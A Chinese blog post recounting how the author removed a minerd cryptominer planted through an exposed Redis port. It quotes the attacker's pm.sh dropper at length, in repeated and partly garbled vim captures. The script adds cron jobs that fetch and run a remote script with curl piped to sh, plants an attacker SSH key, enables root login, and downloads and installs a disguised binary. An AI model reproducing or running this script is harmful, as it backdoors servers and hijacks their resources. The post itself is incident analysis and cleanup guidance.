一不小心装了一个Redis服务,开了一个全网的默认端口,一开始以为这台服务器没有公网ip,结果发现之后悔之莫及啊

某天发现cpu load高的出奇,发现一个minerd进程 占了大量cpu,google了一下,发现自己中招了

下面就是清理过程

第一步

1.立即停止redis服务,修改端口权限,增加密码措施

2.按照网上的资料 删除 crontab 里的两个内容

sudo rm /var/spool/cron/root

sudo rm /var/spool/cron/crontabs/root

3.知己知彼,百战不殆,研究病毒的初始话文件

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

"pm.sh" 28L, 1470C 10,1-8 顶端

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll

/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll

/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITT

shREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZZ

7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kvv

9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1yy

993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK755

NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

10,1-8 顶端

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rr

oot

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/cc

rontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOcc

9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLL

Kn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm88

gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBrr

o4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/etc/init.d/ntp" ]; then

10,1-8 顶端

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/roo

ot

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yWW

8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQQ

V8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXX

mVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root""

> ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f "/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

@

10,1-8 顶端

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/AA

g1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txLL

6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNyy

tbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f "/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK77

5NEOiq33 && /opt/KHK75NEOiq33 -Install

fi

fi

10,1-8 顶端

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TT

dRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6ww

L4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdd

Y7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f "/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opp

t/KHK75NEOiq33 -Install

fi

fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9

10,1-8 顶端

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYY

pLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbb

BXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f "/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Instaa

ll

fi

fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

~

~

~

~

~

10,1-8 全部

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77

yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y999

3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f "/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install

fi

fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

得到结果

1.删除crontab的配置文件,如上我们已经删除,涉及的代码

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

2.删除 这个是用来免密码登陆的

rm -f ~/.ssh/authorized_keys*

rm -f ~/.ssh/KHK75NEOiq

你甚至可以直接把.ssh这个目录删除掉

涉及的代码

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77

yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y999

3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

3.删除 /opt/这个目录 这玩意是第四步的服务产生的

4.删除服务

service ntp stop

rm /etc/init.d/ntp

rm /usr/sbin/ntp

涉及的代码

if [ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f "/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install

fi

fi

如上的代码,下载了一个8M的程序,是安装了什么东西,楼主也不知道,但是接下来的代码暴露了行踪

/etc/init.d/ntp start

这行代码启动了ntp这个服务,百度搜了下说是个时间服务,其实这玩意是病毒服务,打开这个文件,找到可执行文件/usr/sbin/ntp 发现文件和那个8m的文件一个字节不差

所以删除这个文件

最后

ps aux|grep minerd

kill 掉所有的进程,ok修复结束

半小时之后

ps aux|grep minerd

minerd进程不再出现

以上就是小编为大家带来的linux中了minerd之后的完全清理过程(详解)全部内容了,希望大家多多支持脚本之家~

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